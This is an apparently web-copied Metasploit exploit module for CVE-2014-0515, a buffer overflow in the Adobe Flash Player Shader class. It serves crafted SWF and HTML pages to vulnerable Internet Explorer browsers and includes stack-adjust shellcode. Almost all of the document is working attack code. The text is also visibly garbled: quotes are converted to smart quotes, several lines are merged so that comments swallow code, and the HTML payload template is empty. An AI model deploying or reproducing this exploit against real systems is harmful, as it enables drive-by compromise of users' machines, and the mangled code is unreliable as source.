Adobe Flash Player Shader Buffer Overflow

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => “Adobe Flash Player Shader Buffer Overflow”,
‘Description’ => %q{
This module exploits a buffer overflow vulnerability in Adobe Flash Player. The
vulnerability occurs in the flash.Display.Shader class, when setting specially
crafted data as its bytecode, as exploited in the wild in April 2014. This module
has been tested successfully on IE 6 to IE 10 with Flash 11 and Flash 12 over
Windows XP SP3, Windows 7 SP1 and Windows 8.
},
‘License’ => MSF_LICENSE,
‘Author’ =>
[
‘Unknown’, # Vulnerability discovery and exploit in the wild
‘juan vazquez’ # msf module
],
‘References’ =>
[
[‘CVE’, ‘2014-0515’],
[‘BID’, ‘67092’],
[‘URL’, ‘http://helpx.adobe.com/security/products/flash-player/apsb14-13.html’],
[‘URL’, ‘http://www.securelist.com/en/blog/8212/New_Flash_Player_0_day_CVE_2014_0515_used_in_watering_hole_attacks’],
[‘URL’, ‘http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2014-0515-the-recent-flash-zero-day/’ ]
],
‘Payload’ =>
{
‘Space’ => 2000,
‘DisableNops’ => true,
‘PrependEncoder’ => stack_adjust
},
‘DefaultOptions’ =>
{
‘InitialAutoRunScript’ => ‘migrate -f’,
‘Retries’ => false,
‘EXITFUNC’ => “thread”
},
‘Platform’ => ‘win’,
‘BrowserRequirements’ =>
{
:source => /script|headers/i,
:clsid => “{D27CDB6E-AE6D-11cf-96B8-444553540000}”,
:method => “LoadMovie”,
:os_name => Msf::OperatingSystems::WINDOWS,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^11\./ || ver =~ /^12\./ || (ver =~ /^13\./ && ver <= '13.0.0.182') } }, 'Targets' =>
[
[ ‘Automatic’, {} ]
],
‘Privileged’ => false,
‘DisclosureDate’ => “Apr 28 2014”,
‘DefaultTarget’ => 0))
end

def exploit
@swf = create_swf
super
end

def stack_adjust
adjust = “\x64\xa1\x18\x00\x00\x00” # mov eax, fs:[0x18 # get teb
adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset adjust end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status("Sending SWF...") send_response(cli, @swf, {'Content-Type'=>‘application/x-shockwave-flash’, ‘Pragma’ => ‘no-cache’})
return
end

print_status(“Sending HTML…”)
tag = retrieve_tag(cli, request)
profile = get_profile(tag)
profile[:tried] = false unless profile.nil? # to allow request the swf
send_exploit_html(cli, exploit_template(cli, target_info), {‘Pragma’ => ‘no-cache’})
end

def exploit_template(cli, target_info)
swf_random = “#{rand_text_alpha(4 + rand(3))}.swf”
flash_payload = “”
get_payload(cli,target_info).unpack(“V*”).each do |i|
flash_payload << "0x#{i.to_s(16)}," end flash_payload.gsub!(/,$/, "") html_template = %Q|




|

return html_template, binding()
end

def create_swf
path = ::File.join( Msf::Config.data_directory, “exploits”, “CVE-2014-0515”, “Graph.swf” )
swf = ::File.open(path, ‘rb’) { |f| swf = f.read }

swf
end

end